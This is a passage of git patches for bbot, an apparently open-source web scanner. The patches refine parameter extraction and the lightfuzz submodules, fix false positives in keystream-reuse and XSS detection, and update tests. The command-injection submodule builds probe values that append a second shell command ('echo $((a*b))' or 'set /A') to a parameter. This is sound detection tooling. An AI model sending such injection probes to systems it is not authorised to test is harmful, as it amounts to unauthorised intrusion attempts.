e.data.get("name") == "keyword" + ] + assert keyword_params, "WEB_PARAMETER for 'keyword' was not emitted" + host_urls = [kp.data.get("host_url") for kp in keyword_params] + assert any(h and h.endswith("/host.html") for h in host_urls), ( + f"no keyword WEB_PARAMETER carried host_url pointing to /host.html; got: {host_urls}" + ) + + # Action POSTs should carry Referer matching the host page URL. + referers = [r for r in self._request_log["action_referers"] if r] + assert referers, "no Referer header was sent on action POSTs" + assert any(r.endswith("/host.html") for r in referers), ( + f"action POSTs did not carry Referer pointing to host page; got: {referers}" + ) From 555df359864ca058df43d2a30d79a44b8da592c5 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 12 May 2026 11:01:15 -0400 Subject: [PATCH 41/50] trim verbose comments/docstrings; fix web_parameters test against post-PostForm_NoAction-fix counts --- bbot/core/helpers/diff.py | 4 +- bbot/core/helpers/web/response_event.py | 9 +-- bbot/modules/http.py | 15 ++-- bbot/modules/internal/excavate.py | 61 ++++----------- bbot/modules/lightfuzz/lightfuzz.py | 67 +++-------------- bbot/modules/lightfuzz/submodules/base.py | 74 ++++--------------- .../test_module_web_parameters.py | 74 ++++++++++--------- 7 files changed, 86 insertions(+), 218 deletions(-) diff --git a/bbot/core/helpers/diff.py b/bbot/core/helpers/diff.py index c5cfbe18d4..a572456b51 100644 --- a/bbot/core/helpers/diff.py +++ b/bbot/core/helpers/diff.py @@ -34,9 +34,7 @@ def __init__( self.headers = headers self.cookies = cookies self.timeout = 10 - # Optional async callback fired once after baseline_1 is established. - # Receives the baseline_1 response and the bound request_params. Used by - # lightfuzz to emit HTTP_RESPONSE events from canonical baseline pages. + # Optional async callback fired once with baseline_1 after the baseline is established. self.on_baseline_ready = on_baseline_ready @staticmethod diff --git a/bbot/core/helpers/web/response_event.py b/bbot/core/helpers/web/response_event.py index 24ec22f312..16dafd4695 100644 --- a/bbot/core/helpers/web/response_event.py +++ b/bbot/core/helpers/web/response_event.py @@ -1,12 +1,7 @@ """Build HTTP_RESPONSE event data dicts from blasthttp.Response objects. -Shared between the `http` module (every probed URL) and `lightfuzz` (baseline -responses worth re-mining). Keeping the shape in one place ensures excavate sees -a consistent HTTP_RESPONSE format regardless of which module produced it. - -Materializes hash and cert_info at call time — only run this when about to -emit an HTTP_RESPONSE event so the laziness of the underlying blasthttp.Response -is preserved for all other code paths. +Materializes hash and cert_info eagerly, so only call when about to emit an +HTTP_RESPONSE event (otherwise blasthttp.Response stays lazy). """ import re diff --git a/bbot/modules/http.py b/bbot/modules/http.py index 9014e81876..e9c5a65c7a 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -217,16 +217,11 @@ async def handle_batch(self, *events): ) configs.append(config) - # Suppress redundant https probes when http already succeeded for the same - # (host, port). When probing an unknown port, we try both schemes; if http - # works, the port definitely speaks HTTP, and the https result is likely a - # proxy artifact (intercepting proxies like Burp terminate TLS themselves, - # making any https:// URL "succeed" regardless of whether the target really - # speaks TLS). Explicit URL/URL_UNVERIFIED events are never suppressed — - # only speculative OPEN_TCP_PORT probes. - # - # Streaming requires per-pair coordination: emit http immediately, defer - # https until http's outcome is known (or the stream ends). + # Suppress redundant https probes when http already succeeded for the same (host, port) — + # intercepting proxies (Burp etc.) terminate TLS themselves, making any https:// "succeed" + # regardless of real TLS support. Only applies to speculative OPEN_TCP_PORT probes; + # explicit URL/URL_UNVERIFIED events are never suppressed. + # Streaming requires per-pair coordination: emit http immediately, defer https until http's outcome is known. http_succeeded = {} # key -> bool, set when http result arrives deferred_https = {} # key -> result, awaiting http verdict diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index ae18fbbdf3..b986e25bda 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -430,29 +430,17 @@ async def extract(self): pass def __init__(self, excavate, result, response_body=None, match_offset=0): - # response_body + match_offset are used by form discovery rules: - # YARA matches only the opening
tag (avoiding its ~4 KB - # `.*` regex cliff), and extract() slices the surrounding body - # to feed the Python re-based extraction regex with a region - # large enough to contain a real-world form. self.excavate = excavate self.result = result self.response_body = response_body self.match_offset = match_offset def form_body_slice(self): - """Return a bounded slice of the response body anchored at the YARA match - offset. Form-extraction rules call this to scan a region big enough to - contain `
` even on forms with multi-KB `` with a few hundred options is enough). The Python - # `extraction_regex` below runs on a bounded slice of the response body - # anchored at this match offset (see ParameterExtractorRule.form_body_slice). + # YARA matches only the opening tag; extract() scans a bounded body slice (form_body_slice). discovery_regex = r'/]*\bmethod=["\']?get["\']?[^>]*>/s nocase' form_content_regexes = { "input_tag_regex": bbot_regexes.input_tag_regex, @@ -631,12 +614,8 @@ async def extract(self): (name, _pick_select_value(options_html)) for name, options_html in input_tags ] for parameter_name, original_value in input_tags: - # Preserve empty strings (selects can legitimately have "" - # as their preferred value); only None means "no value seen". - if original_value is None: - normalized = None - else: - normalized = original_value.strip() + # Preserve empty strings; only None means "no value seen". + normalized = original_value.strip() if original_value is not None else None form_parameters.setdefault(parameter_name, normalized) for parameter_name, original_value in form_parameters.items(): @@ -687,11 +666,7 @@ def __init__(self, excavate): ) async def preprocess(self, r, event, discovery_context): - # Override the base class flattener so each YARA hit retains its offset. - # Form rules need (matched_data, offset) per instance because they - # reconstruct the form body from a bounded slice of the response body - # anchored at the match offset — YARA's regex engine can't span the - # opening tag to `` reliably on forms larger than ~4 KB. + # Override base flattener to retain per-instance YARA offsets (needed by form_body_slice). description = "" tags = [] emit_match = False @@ -723,15 +698,8 @@ async def preprocess(self, r, event, discovery_context): await self.process(yara_results, event, yara_rule_settings, discovery_context) async def process(self, yara_results, event, yara_rule_settings, discovery_context): - # Two-pass: collect every yielded tuple across all YARA results for an - # identifier (YARA matches each tag separately, so values for the - # same param-name arrive one match at a time), then group by - # (parameter_type, parameter_name, url) and emit one WEB_PARAMETER per - # group. The first observed value becomes original_value; any additional - # distinct values for the same param are attached as same_param_values, - # surviving the WEB_PARAMETER dedup that would otherwise discard them. - # Cross-value detectors (e.g. lightfuzz crypto's keystream-reuse check) - # read same_param_values. + # Group yields by (type, name, url) within an identifier; extra distinct values for + # the same param are stashed in same_param_values so they survive WEB_PARAMETER dedup. response_body = event.data.get("body", "") if isinstance(event.data, dict) else "" for identifier, results in yara_results.items(): if identifier not in self.parameterExtractorCallbackDict.keys(): @@ -819,11 +787,8 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte } if same_param_values: data["same_param_values"] = same_param_values - # When the form's action URL is a different endpoint than the page - # the form was discovered on, stamp the host URL. lightfuzz primes - # its connectivity GET (cookies, session bootstrap) against this - # URL, and submodules stamp it as the POST's Referer — matching - # what a browser would have done when submitting the form. + # Stamp the discovery page URL when distinct from the form's action. + # Downstream fuzzers use it for cookie/CSRF priming and as the Referer. host_url = event.url if host_url and host_url != emit_url: data["host_url"] = host_url diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 599d8af350..325b652ddc 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -56,31 +56,15 @@ async def setup(self): self.avoid_wafs = self.scan.config.get("avoid_wafs", True) self.emit_baseline_responses = self.config.get("emit_baseline_responses", True) self.submodules = {} - # Per-WEB_PARAMETER baseline cache: {event.id: {request_sig: HttpCompare}}. - # Identical baselines across submodules (sqli, cmdi, path on a POSTPARAM - # with no envelopes) share one HttpCompare — and therefore one network - # baseline pair and one HTTP_RESPONSE emission. Cleared at end of handle_event. + # Per-event baseline cache so submodules with identical request signatures share one HttpCompare. self._baseline_cache = {} - # Cross-event cache for baseline_probe responses keyed on request signature. - # Each WEB_PARAMETER triggers its own baseline_probe; sibling fields of the - # same form produce identical request bodies (the data dict has the same - # keys+values regardless of which one is the "primary"), so without sharing - # we'd fire N identical requests per N-field form. Bounded LRU-by-insertion - # to keep long scans from accumulating responses. + # Cross-event baseline_probe response cache: sibling fields of the same form produce identical requests. self._baseline_probe_response_cache = {} self._baseline_probe_response_cache_max = 200 - # Cross-event cache for connectivity_test responses keyed on prime_url. - # Every WEB_PARAMETER's handle_event fires a connectivity GET against - # prime_url to refresh assigned_cookies; with _module_threads > 1, the - # five-or-so WEB_PARAMETERs excavate emits per page (csrf, custom header, - # Set-Cookie) all race their GETs against the same host page. Servers - # that cycle a session/CSRF token on each GET hand each racer a distinct - # token, then every subsequent POST lands with a stale cookie. - # NamedLock per prime_url serializes concurrent handle_events for the - # same URL: first caller fires the GET and caches the response, the - # rest acquire the released lock and return the cached response. + # Per-URL lock + cache so concurrent WEB_PARAMETERs for the same page share one connectivity GET + # (servers that cycle session/CSRF tokens hand each racer a different token otherwise). self._connectivity_test_cache = {} self._connectivity_test_locks = NamedLock(max_size=200) @@ -151,11 +135,7 @@ async def interactsh_callback(self, r): self.debug("skipping result because subdomain tag was missing") async def _connectivity_test(self, prime_url): - """Fire (or share) a connectivity GET against ``prime_url`` to refresh - cookies/CSRF state, returning the response. Concurrent handle_events - for the same prime_url serialize through a per-URL lock: the first - caller fires the GET and caches the response; subsequent callers - acquire the released lock and read the cached value back.""" + """Fire (or share) a connectivity GET against ``prime_url``; concurrent callers share one response.""" cache = self._connectivity_test_cache if prime_url in cache: return cache[prime_url] @@ -196,12 +176,7 @@ def store_cached_baseline(self, event, signature, http_compare): self._baseline_cache.setdefault(event.id, {})[signature] = http_compare async def emit_baseline_response(self, response, event, method): - """Emit a baseline blasthttp Response as an HTTP_RESPONSE event with `event` as parent. - - Excavate consumes the resulting event and can discover new URLs/params - rendered only by the canonical POST/GET (forms behind a submit, redirect - targets, confirmation pages). - """ + """Emit a baseline blasthttp Response as an HTTP_RESPONSE event so excavate can mine post-submit pages.""" if not self.emit_baseline_responses: return if response is None: @@ -222,9 +197,6 @@ async def emit_baseline_response(self, response, event, method): ) def _outgoing_dedup_hash(self, event): - # FINDING events use a rich dedup key; other event types (e.g. HTTP_RESPONSE, - # which has no "description") fall through to a sensible default keyed on - # url + method so identical baselines never re-emit. if event.type == "FINDING": return hash( ( @@ -236,8 +208,7 @@ def _outgoing_dedup_hash(self, event): event.data.get("name", ""), ) ) - # HTTP_RESPONSE and friends: include body hash in dedup so Probe A and - # Probe B emissions (same method+url, distinct bodies) both surface. + # Include body hash so dual baselines (same method+url, distinct bodies) both surface. body_hash = "" if isinstance(event.data, dict): response_hash = event.data.get("hash") or {} @@ -300,24 +271,14 @@ async def handle_event(self, event): await self.emit_event(data, "WEB_PARAMETER", event) elif event.type == "WEB_PARAMETER": - # Prime against the form's host page when distinct from the action URL. - # Browsers GET the host page first (seeding session cookies, CSRF tokens, - # any required server-side bootstrap state) and then POST to the action. - # When excavate stamps host_url on a form-derived WEB_PARAMETER, we mirror - # that flow: the connectivity GET hits host_url, fresh cookies merge into - # assigned_cookies, and the baseline POST goes to event.url. Falls back - # to event.url for non-form params or self-posting forms. + # Mirror browser flow: GET the form's host page first to seed cookies/CSRF, then POST to action. host_url = event.data.get("host_url") if isinstance(event.data, dict) else None prime_url = host_url if host_url and host_url != event.url else event.url connectivity_test = await self._connectivity_test(prime_url) if connectivity_test: - # Refresh assigned_cookies from the connectivity GET. The cookies excavate - # originally captured may be stale by the time we fuzz (cycled tokens, - # expired sessions); the connectivity probe just hit the server, so its - # Set-Cookie response is the freshest state we can get without an extra - # request. Fresh values win on conflict; cookies the GET didn't re-issue - # (e.g. an auth cookie originally seen elsewhere) are preserved. + # Merge fresh Set-Cookie values from the connectivity GET into assigned_cookies. + # Cookies the GET didn't re-issue (e.g. an unrelated auth cookie) are preserved. fresh_cookies = dict(getattr(connectivity_test, "cookies", {}) or {}) if fresh_cookies: merged = dict(event.data.get("assigned_cookies") or {}) @@ -327,12 +288,8 @@ async def handle_event(self, event): try: original_type = event.data["type"] - # Fire the canonical baseline form submission once per WEB_PARAMETER, - # at the module level, independent of which submodules are enabled. - # Excavate mines whichever response(s) carry useful page content - # (filter-style vs search-style forms differ in which probe produces - # content). The response cache means any later submodule baseline_probe - # call (e.g. from crypto) is a no-op for the same signature. + # Fire the canonical baseline once per WEB_PARAMETER so excavate can mine the + # post-submit page; later submodule baseline_probes hit the response cache. if self.emit_baseline_responses: from bbot.modules.lightfuzz.submodules.base import BaseLightfuzz diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index 055fac1756..fb64f203bf 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -7,11 +7,7 @@ class BaseLightfuzz: friendly_name = "" uses_interactsh = False - # When True, this submodule operates at the wire-format level and does - # NOT want the envelope system to unwrap incoming probe values or pack - # outgoing ones. Used by submodules whose payloads ARE the transport - # encoding (e.g. `serial`, whose base64/hex/PHP-raw payloads are already - # the exact bytes the server should receive). + # True for submodules whose payloads ARE the wire format (e.g. `serial`) — skip envelope wrapping. skip_envelopes = False def __init__(self, lightfuzz, event): @@ -122,12 +118,8 @@ def prepare_request( parameter_name = self.parameter_name additional_params = self.additional_params_process(additional_params, additional_params_populate_empty) - # Normalize None values to "" at the wire boundary. Excavate intentionally - # distinguishes `original_value=None` (" had no value attribute") from - # `original_value=""` ("") in the event metadata, but the - # wire serialization is identical for both — browsers submit them as `name=`. - # Python's urlencode renders None as the literal text "None", which targets - # then reject as malformed input. + # Coerce None → "" at the wire boundary (excavate preserves the None/"" distinction + # in metadata, but browsers serialize both as `name=`; urlencode renders None as "None"). if additional_params: additional_params = {k: ("" if v is None else v) for k, v in additional_params.items()} if probe is None: @@ -183,10 +175,8 @@ def prepare_request( else: return None - # Stamp Referer matching what a browser would have sent: the URL of the page - # the form was discovered on. Only set when excavate marked the parameter as - # coming from a form whose host page is distinct from the action URL — apps - # that validate Referer for CSRF-like patterns reject POSTs without it. + # Stamp Referer to the form's host page (when distinct from action) — some apps + # validate Referer for CSRF-like patterns and reject POSTs without it. host_url = self.event.data.get("host_url") if isinstance(self.event.data, dict) else None if host_url: request_params.setdefault("headers", {}) @@ -206,21 +196,9 @@ def compare_baseline( parameter_name_suffix_additional_params="", emit_http_response=True, ): - """ - Compares the baseline using prepared request parameters. - - Shares one HttpCompare across submodules whose baselines collapse to the - same request signature (URL + method + body + cookies + headers). The - first call for a given (event, signature) creates the HttpCompare and - registers a one-shot callback that emits the canonical baseline response - as an HTTP_RESPONSE event (when ``emit_http_response`` is true). Later - callers with the same signature reuse the cached HttpCompare — no extra - baseline pair, no duplicate emission. - - ``emit_http_response=False`` suppresses HTTP_RESPONSE emission for - confirmation rounds and FP-killer baselines whose responses are not - useful page renderings. - """ + """Return an HttpCompare for the given request signature, sharing the instance with + any prior caller with the same signature. Emits one HTTP_RESPONSE per unique baseline + (set ``emit_http_response=False`` for confirmation/FP-killer baselines).""" additional_params = copy.deepcopy(self.event.data.get("additional_params", {})) if additional_params and parameter_name_suffix_additional_params: @@ -260,35 +238,13 @@ async def _on_ready(baseline_response): return http_compare async def baseline_probe(self, cookies, emit_http_response=True): - """ - Executes the canonical baseline probe(s) by submitting the form the - way a browser would: POSTs carry the parameter's ``original_value`` - plus every sibling field from ``additional_params``; GETs carry them - in the querystring; headers/cookies inject them on the wire. Uses - ``prepare_request()`` so the request shape matches what - ``compare_baseline`` would build. - - Fires up to two requests per call: - - * **Probe A — form as captured.** Filter-style forms whose "show - all results" state is the no-narrowing default produce content - here. This is the only baseline returned to the caller. - - * **Probe B — this field populated with ``"a"``.** Fired only when - the fuzzed parameter's ``original_value`` is ``None`` or ``""`` - (i.e. the field had no captured default — typically a free-text - search input). Catches search-style forms whose useful content - appears only when the primary text input is non-empty. Skipped - entirely when the field already has a meaningful default. - - Both probes go through ``emit_baseline_response`` so excavate can - re-mine either populated page. Whichever probe got content wins via - the response itself — no classifier picks between them. - - Responses are cached on the parent ``lightfuzz`` module by request - signature: identical Probe A bodies across siblings of the same form - (data dict identical regardless of which field is the "primary") - collapse to one network request and one emission. + """Submit the canonical baseline the way a browser would, returning Probe A's response. + + Probe A: form as captured (``original_value`` + sibling ``additional_params``). + Probe B: this field populated as ``"a"`` — only fired when ``original_value`` is None/"". + Catches search-style forms whose content only appears when the primary input is non-empty. + Both responses are emitted as HTTP_RESPONSE; responses are cached per request signature + so form siblings share one network request. """ additional_params = copy.deepcopy(self.event.data.get("additional_params", {})) probe_value_a = self.incoming_probe_value(populate_empty=False) diff --git a/bbot/test/test_step_2/module_tests/test_module_web_parameters.py b/bbot/test/test_step_2/module_tests/test_module_web_parameters.py index ca88a021d3..21a3b0adaf 100644 --- a/bbot/test/test_step_2/module_tests/test_module_web_parameters.py +++ b/bbot/test/test_step_2/module_tests/test_module_web_parameters.py @@ -9,20 +9,23 @@ def check(self, module_test, events): with open(parameters_file) as f: data = f.read() - assert "age" in data - assert "fit" in data - assert "id" in data - assert "jqueryget" in data - assert "jquerypost" in data - assert "size" in data - - # after lightfuzz is merged uncomment these additional parameters - # assert "blog-post-author-display" in data - # assert "csrf" in data - # assert "q1" in data - # assert "q2" in data - # assert "q3" in data - # assert "test" in data + for name in ( + "age", + "blog-post-author-display", + "csrf", + "fit", + "id", + "jqueryget", + "jquerypost", + "q1", + "q2", + "q3", + "q4", + "q5", + "size", + "test", + ): + assert name in data, f"missing parameter: {name}" class TestWebParameters_include_count(TestWebParameters): @@ -35,25 +38,24 @@ def check(self, module_test, events): parameters_file = module_test.scan.home / "web_parameters.txt" with open(parameters_file) as f: data = f.read() - assert "2\tq" in data - assert "1\tage" in data - assert "1\tfit" in data - assert "1\tid" in data - assert "1\tjqueryget" in data - assert "1\tjquerypost" in data - assert "1\tsize" in data - - # after lightfuzz is merged, these will be the correct parameters to check - - # assert "3\ttest" in data - # assert "2\tblog-post-author-display" in data - # assert "2\tcsrf" in data - # assert "2\tq2" in data - # assert "1\tage" in data - # assert "1\tfit" in data - # assert "1\tid" in data - # assert "1\tjqueryget" in data - # assert "1\tjquerypost" in data - # assert "1\tq1" in data - # assert "1\tq3" in data - # assert "1\tsize" in data + + # "test" is the custom http_headers value the test scan injects; each + # HTTP_RESPONSE re-emits it as a HEADER WEB_PARAMETER, so it shows 3. + # Every other param is extracted once per unique (type, name, url). + for expected in ( + "3\ttest", + "1\tage", + "1\tblog-post-author-display", + "1\tcsrf", + "1\tfit", + "1\tid", + "1\tjqueryget", + "1\tjquerypost", + "1\tq1", + "1\tq2", + "1\tq3", + "1\tq4", + "1\tq5", + "1\tsize", + ): + assert expected in data, f"missing line: {expected!r}" From d8bf48957f24d4d0944c04f99771f378f6b1a25c Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 16 May 2026 00:27:35 -0400 Subject: [PATCH 42/50] lightfuzz/crypto: restrict keystream-reuse to hex inputs --- bbot/modules/lightfuzz/submodules/crypto.py | 9 ++++-- .../module_tests/test_module_lightfuzz.py | 29 +++++++++++++++++++ 2 files changed, 36 insertions(+), 2 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index ea183b177e..56f8a6aea1 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -250,7 +250,7 @@ def possible_block_sizes(ciphertext_length): return possible_sizes def _collect_keystream_candidates(self, probe_value): - """Return [(label, raw, bytes)] for every hex/base64-shaped candidate worth pairwise-XORing. + """Return [(label, raw, bytes)] for every hex-shaped candidate worth pairwise-XORing. Sources, in order: 1. The current parameter's value (probe_value). @@ -273,7 +273,12 @@ def _collect_keystream_candidates(self, probe_value): if not value or not isinstance(value, str): continue decoded, encoding = self.format_agnostic_decode(value) - if encoding == "unknown": + # Hex only: base64's alphabet overlaps heavily with URL-path / identifier + # characters, so plaintext URL paths sharing a prefix round-trip as base64 + # and XOR to a leading-zero run, producing a false-positive keystream-reuse + # finding. Hex's [0-9a-f] alphabet has no such overlap with structured + # plaintext, so restricting to hex eliminates that class of FP. + if encoding != "hex": continue if len(decoded) < 3: continue diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 4319d6dd0d..23f1f14d1f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -4244,6 +4244,35 @@ def check(self, module_test, events): assert same_param_values, "Expected same_param_values to carry the second ciphertext, got empty/None" +# Regression: two URL-path-shaped values that share a long plaintext prefix +# round-trip as valid base64 (every char is in the b64 alphabet, length +# divisible by 4) and XOR to a long leading-zero run because the plaintexts +# overlap. The earlier crypto gate only rejected narrow-range encodings, so +# such pairs produced a HIGH/CONFIRMED Stream Cipher Keystream Reuse finding +# despite obviously being plaintext URL paths, not ciphertext. +class Test_Lightfuzz_keystream_reuse_url_path_fp(Test_Lightfuzz_keystream_reuse): + # Both values are 24 chars (valid base64 length), share a 13-char plaintext + # prefix, and use only base64-alphabet chars — so they round-trip and the + # XOR exposes a long leading-zero run unless the crypto gate rejects them. + landing_page = """ + + 2003 + 2002 + + """ + + def check(self, module_test, events): + keystream_findings = [ + e + for e in events + if e.type == "FINDING" and "Stream Cipher Keystream Reuse" in e.data.get("description", "") + ] + assert not keystream_findings, ( + f"URL-path values were misclassified as keystream-reuse ciphertexts: " + f"{[f.data.get('description') for f in keystream_findings]}" + ) + + # End-to-end test for assigned_cookies refresh. # # The cookies excavate originally captured on the spider's GET are often stale From e97980ce10d7fc352a74eb0a3b98548c9651d9f0 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 16 May 2026 22:11:13 -0400 Subject: [PATCH 43/50] lightfuzz/crypto: guard None probe responses and fix invalid confidence value --- bbot/modules/lightfuzz/submodules/crypto.py | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index 56f8a6aea1..d2a13e87c0 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -331,9 +331,9 @@ def detect_keystream_reuse(self, probe_value): if zero_run >= 5: severity, confidence = "HIGH", "CONFIRMED" elif zero_run >= 3 or ascii_score >= 0.95: - severity, confidence = "HIGH", "PROBABLE" + severity, confidence = "HIGH", "HIGH" else: - severity, confidence = "MEDIUM", "PROBABLE" + severity, confidence = "MEDIUM", "MEDIUM" description = ( "Stream Cipher Keystream Reuse (Many-Time-Pad). " @@ -703,6 +703,11 @@ async def fuzz(self): self.verbose(f"Encountered HttpCompareError Sending Compare Probe: {e}") return + # If any probe got no response (e.g. WAF-blocked), we can't reason about diffs; abort. + if arbitrary_probe[3] is None or truncate_probe[3] is None or mutate_probe[3] is None: + self.verbose(f"One or more compare probes returned no response for url {self.event.url}, aborting") + return + confirmed_techniques = [] # mutate_probe[0] will be false if the response is different - mutate_probe[1] stores what aspect of the response is different (headers, body, code) # ensure the difference is in the body and not the headers or code From 9d5c5d5d50612228c40bf77a7e7765a48408ad16 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 17 May 2026 00:16:50 -0400 Subject: [PATCH 44/50] lightfuzz audit fixes: cache bound, cmdi guard, xss verify, defaults dedupe --- bbot/defaults.yml | 6 +- bbot/modules/lightfuzz/lightfuzz.py | 11 ++- bbot/modules/lightfuzz/submodules/cmdi.py | 23 +++-- bbot/modules/lightfuzz/submodules/xss.py | 28 ++++++ .../module_tests/test_module_lightfuzz.py | 96 +++++++++++++++++++ 5 files changed, 147 insertions(+), 17 deletions(-) diff --git a/bbot/defaults.yml b/bbot/defaults.yml index d4457fb40f..e0208a61d2 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -270,6 +270,7 @@ parameter_blacklist: - cf_clearance - _abck - bm_sz + - bm_sv - ak_bmsc - f5_cspm # CSRF / Anti-Forgery tokens @@ -285,11 +286,6 @@ parameter_blacklist: # PKCE (Proof Key for Code Exchange) - code_verifier - code_challenge - # Akamai Bot Manager - - _abck - - bm_sz - - bm_sv - - ak_bmsc # Analytics - _ga - _gid diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 325b652ddc..d3239088a5 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -7,6 +7,8 @@ from bbot.errors import InteractshError from bbot.core.helpers.misc import get_waf_strings from bbot.core.helpers.web.response_event import response_to_event_dict +from bbot.modules.lightfuzz.submodules.base import BaseLightfuzz +from bbot.modules.lightfuzz.submodules.serial import serial as _serial_submodule class lightfuzz(BaseModule): @@ -66,6 +68,7 @@ async def setup(self): # Per-URL lock + cache so concurrent WEB_PARAMETERs for the same page share one connectivity GET # (servers that cycle session/CSRF tokens hand each racer a different token otherwise). self._connectivity_test_cache = {} + self._connectivity_test_cache_max = 300 self._connectivity_test_locks = NamedLock(max_size=200) if not self.enabled_submodules: @@ -82,10 +85,8 @@ async def setup(self): waf_strings = get_waf_strings() self.waf_yara_rules = self.helpers.yara.compile_strings(waf_strings, nocase=True) # Serial submodule needs WAF + general error strings in one rule - from bbot.modules.lightfuzz.submodules.serial import serial - self.serial_general_error_yara_rules = self.helpers.yara.compile_strings( - serial.GENERAL_ERROR_STRINGS + waf_strings, nocase=True + _serial_submodule.GENERAL_ERROR_STRINGS + waf_strings, nocase=True ) interactsh_needed = any(submodule.uses_interactsh for submodule in self.submodules.values()) @@ -143,6 +144,8 @@ async def _connectivity_test(self, prime_url): if prime_url in cache: return cache[prime_url] response = await self.helpers.request(prime_url, timeout=10) + if len(cache) >= self._connectivity_test_cache_max: + cache.pop(next(iter(cache))) cache[prime_url] = response return response @@ -291,8 +294,6 @@ async def handle_event(self, event): # Fire the canonical baseline once per WEB_PARAMETER so excavate can mine the # post-submit page; later submodule baseline_probes hit the response cache. if self.emit_baseline_responses: - from bbot.modules.lightfuzz.submodules.base import BaseLightfuzz - prober = BaseLightfuzz(self, event) try: await prober.baseline_probe(cookies=event.data.get("assigned_cookies", {}) or {}) diff --git a/bbot/modules/lightfuzz/submodules/cmdi.py b/bbot/modules/lightfuzz/submodules/cmdi.py index 7479c8734b..d35db529e3 100644 --- a/bbot/modules/lightfuzz/submodules/cmdi.py +++ b/bbot/modules/lightfuzz/submodules/cmdi.py @@ -48,9 +48,14 @@ async def fuzz(self): canary = self.lightfuzz.helpers.rand_string(10, numeric_only=True) # Arithmetic canary: the multiplicands are in the probe, but their # product is NOT — so a response containing the product is evidence - # of arithmetic expansion performed by a real shell. - arith_a = self.lightfuzz.helpers.rand_string(5, numeric_only=True) - arith_b = self.lightfuzz.helpers.rand_string(5, numeric_only=True) + # of arithmetic expansion performed by a real shell. Reject factors + # that evaluate to 0; otherwise the canary degenerates to "0" and + # matches virtually every HTML response (critical-severity FP). + while True: + arith_a = self.lightfuzz.helpers.rand_string(5, numeric_only=True) + arith_b = self.lightfuzz.helpers.rand_string(5, numeric_only=True) + if int(arith_a) and int(arith_b): + break arith_canary = str(int(arith_a) * int(arith_b)) http_compare = self.compare_baseline( self.event.data["type"], probe_value, cookies @@ -95,11 +100,13 @@ async def fuzz(self): # arithmetic. The product value is never in either probe # literal, so only real shell execution can place it in the # response. Either confirmation upgrades to HIGH. + raw_marker = f"{arith_a}*{arith_b}" linux_match = await self._arith_confirm( http_compare, cookies, f"{probe_value}{p} echo $(({arith_a}*{arith_b})) {p}", arith_canary, + raw_marker, p, "linux", ) @@ -111,6 +118,7 @@ async def fuzz(self): cookies, f"{probe_value}{p} set /A {arith_a}*{arith_b} {p}", arith_canary, + raw_marker, p, "windows", ) @@ -177,10 +185,11 @@ async def fuzz(self): skip_urlencoding=True, ) - async def _arith_confirm(self, http_compare, cookies, probe_str, expected, delim, shell_label): + async def _arith_confirm(self, http_compare, cookies, probe_str, expected, raw_marker, delim, shell_label): """Send a shell-arithmetic confirmation probe and return True iff the - expected product value appears in the response (and the word `echo` - does not, ruling out bulk reflection).""" + expected product value appears in the response and the literal + multiplicand expression (``{a}*{b}``) does not — the latter rules out + bulk reflection in a shell-agnostic way.""" if self.event.data["type"] == "GETPARAM": probe_str = urllib.parse.quote(probe_str.encode(), safe="") try: @@ -194,7 +203,7 @@ async def _arith_confirm(self, http_compare, cookies, probe_str, expected, delim except HttpCompareError as e: self.debug(f"arithmetic probe [{shell_label}] error for [{delim}]: {e}") return False - matched = probe[3] is not None and expected in probe[3].text and "echo" not in probe[3].text + matched = probe[3] is not None and expected in probe[3].text and raw_marker not in probe[3].text if matched: self.debug(f"{shell_label} arithmetic canary [{expected}] matched for delimiter [{delim}]") return matched diff --git a/bbot/modules/lightfuzz/submodules/xss.py b/bbot/modules/lightfuzz/submodules/xss.py index da5aeaaeb4..0242e96f39 100644 --- a/bbot/modules/lightfuzz/submodules/xss.py +++ b/bbot/modules/lightfuzz/submodules/xss.py @@ -182,6 +182,34 @@ def _verify_match_context(self, html, match, context): return True pos = html.find(match, pos + 1) return False + elif "HTML Comment" in context: + # Match begins inside an unclosed `` that closes + # the comment is INSIDE the match itself — that's the breakout). + # Rules out a reflection of the same bytes elsewhere on the page + # that didn't actually break out of any comment. + pos = html.find(match) + while pos != -1: + preceding = html[:pos] + if preceding.rfind(""): + return True + pos = html.find(match, pos + 1) + return False + elif "JS Template Literal" in context: + # Match must land inside a `") + if last_script_open > last_script_close: + script_prefix = preceding[last_script_open:] + if script_prefix.count("`") % 2 == 1 and "`" in html[pos + len(match) :]: + return True + pos = html.find(match, pos + 1) + return False return True async def check_probe(self, cookies, probe, match, context): diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 